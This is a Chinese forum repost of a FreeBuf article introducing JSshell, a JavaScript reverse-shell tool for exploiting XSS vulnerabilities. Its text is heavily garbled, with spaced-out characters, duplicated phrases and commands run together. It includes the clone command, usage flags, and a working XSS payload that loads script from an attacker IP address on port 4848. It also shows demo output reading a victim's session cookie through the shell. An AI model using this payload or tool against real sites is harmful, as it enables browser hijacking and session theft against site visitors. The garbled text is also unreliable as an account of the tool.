搜索

[15571] 2020-07-05_JSshell：一款针对XSS漏洞的JavaScript反向Shell

文档创建者：s7ckTeam
浏览次数：11
最后更新：2025-01-18
2020-07-05_JSshell：一款针对XSS漏洞的JavaScript反向Shell J S s h e l l ： 一 款 针 对 X S S 漏 洞 的 J a v a S c r i p t 反 向 S h e l l A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 0 7 - 0 5 J S s h e l l 是 一 个 是 一 个 J a v a S c r i p t 反 向 反 向 S h e l l 工 具 ， 该 工 具 可 以 帮 助 广 大 研 究 人 员 远 程 利 用 工 具 ， 该 工 具 可 以 帮 助 广 大 研 究 人 员 远 程 利 用 X S S 漏 洞 或 扫 描 并 发 现 漏 洞 或 扫 描 并 发 现 X S S 盲 注 漏 洞 。 当 前 版 本 的 盲 注 漏 洞 。 当 前 版 本 的 J S s h e l l 支 持 在 支 持 在 U n i x 和 和 W i n d o w s 操 作 系 统 上 运 行 ， 并 操 作 系 统 上 运 行 ， 并 且 同 时 支 持 且 同 时 支 持 P y t h o n 2 和 和 P y t h o n 3 。 跟 。 跟 J S h e l l （ 一 款 由 （ 一 款 由 s 0 m e d 3 v 开 发 的 通 过 开 发 的 通 过 X S S 漏 洞 获 取 漏 洞 获 取 J a v a S c r i p t 反 向 反 向 S h e l l 的 工 具 ） 相 比 ， 这 是 一 个 非 常 大 的 更 新 ， 而 且 的 工 具 ） 相 比 ， 这 是 一 个 非 常 大 的 更 新 ， 而 且 J S s h e l l 还 不 需 要 还 不 需 要 N e t c a t 的 支 持 ， 的 支 持 ， 这 一 点 跟 其 他 的 这 一 点 跟 其 他 的 J a v a S c r i p t   S h e l l 也 有 很 大 的 区 别 。 也 有 很 大 的 区 别 。 工 具 下 载 工 具 下 载 广 大 研 究 人 员 可 以 使 用 下 列 命 令 将 J S s h e l l 项 目 源 码 克 隆 至 本 地 ： 工 具 使 用 工 具 使 用 生 成 J S 反 向 S h e l l   P a y l o a d ： 设 置 本 地 端 口 号 ， 用 于 监 听 和 生 成 P a y l o a d （ 默 认 设 置 为 4 8 4 8 ） ： 设 置 本 地 源 地 址 ， 用 于 生 成 P a y l o a d （ J S s h e l l 默 认 将 使 用 设 备 I P 地 址 ） ： 设 置 s h e l l 连 接 的 超 时 时 长 ， 如 果 用 户 退 出 页 面 ， s h e l l 将 会 暂 停 ， 如 果 设 置 了 超 时 时 长 ， 那 么 在 一 段 时 间 无 响 应 之 后 ， s h e l l 将 会 自 动 关 闭 ： 拿 到 S h e l l 之 后 ， 执 行 命 令 ： 快 速 使 用 样 例 快 速 使 用 样 例 J S s h e l l 运 行 样 例 运 行 样 例 接 下 来 ， 我 们 将 给 大 家 演 示 如 何 一 步 一 步 使 用 J S s h e l l 来 利 用 X S S 漏 洞 。 首 先 ， 我 们 将 生 成 一 个 反 向 J S   S h e l l   P a y l o a d ， 并 设 置 s h e l l 超 时 时 长 为 2 0 秒 ： 接 下 来 ， 将 生 成 的 P a y l o a d 拷 贝 到 存 在 X S S 漏 洞 的 网 站 （ 或 U R L ） 中 ： 访 问 目 标 页 面 ， 接 下 来 我 们 将 看 到 已 经 成 功 拿 到 了 反 向 J S   S h e l l ： 现 在 ， 我 们 就 可 以 执 行 某 些 命 令 了 ： 运 行 之 后 ， 浏 览 器 将 弹 出 一 个 警 告 信 息 ： 浏 览 器 将 会 打 印 出 用 户 C o o k i e 信 息 ： 项 目 地 址 项 目 地 址 J S s h e l l ： h t t p s : / / g i t h u b . c o m / s h e l l d 3 v / J S s h e l l * 本 文 作 者 ： 本 文 作 者 ： A l p h a _ h 4 c k ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / s h e l l d 3 v / J S s h e l l . g i t - g - p - s - w - c j s . p y j s . p y   - g j s . p y   - p   1 2 3 4 j s . p y   - s   4 8 . 5 8 6 . 1 . 2 3   - g j s . p y   - c   " a l e r t ( d o c u m e n t . c o o k i e ) "   - w   1 0 ~ #   w h o a m i r o o t ~ #   l s R E A D M E . m d       j s . p y ~ #   p y t h o n 3   j s . p y   - g   - w   2 0   _ _ | ( _     _   | _     _     |     | _ | _ _ ) _ >   |   | ( / _   |     | v 1 . 0 P a y l o a d : < s v g / o n l o a d = s e t I n t e r v a l ( f u n c t i o n ( ) { w i t h ( d o c u m e n t ) b o d y . a p p e n d C h i l d ( c r e a t e E l e m e n t ( [ h t t p s : / / v u l n w e b s 1 t e . c o m / b / s e a r c h ? q = ] ( h t t p s : / / v u l n w e b s 1 t e . c o m / b / s e a r c h ? q = ) < s v g / o n l o a d = s e t I n t e r v a l ( f u n c t i o n ( ) { w i t h ( d o c u m e n t ) b o d y . a p p e n d C h i l d ( c r e a t e E l e m e n t ( " s c r i p t " ) ) . s r c = " / / 1 7 1 . 2 2 4 . 1 8 1 . 1 0 6 : 4 8 4 8 " _ _ | ( _     _   | _     _     |     | _ | _ _ ) _ >   |   | ( / _   |     | v 1 . 0 P a y l o a d : < s v g / o n l o a d = s e t I n t e r v a l ( f u n c t i o n ( ) { w i t h ( d o c u m e n t ) b o d y . a p p e n d C h i l d ( c r e a t e E l e m e n t ( " s c r i p t " ) ) . s r c = " / / 1 7 1 . 2 2 4 . 1 8 1 . 1 0 6 : 4 8 4 8 " } , 9 9 9 $   v a r   t e s t   =   ' h a c k e d ' $   a l e r t ( h a c k e d ) $ h a c k e d $   p r o m p t ( d o c u m e n t . c o o k i e ) $ J S E S S I O N = 3 b d a 8 . . . $   e x i t ~ #   w h o a m i r o o t ~ #   p w d / h o m e / s h e l l d 3 v ~ #
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理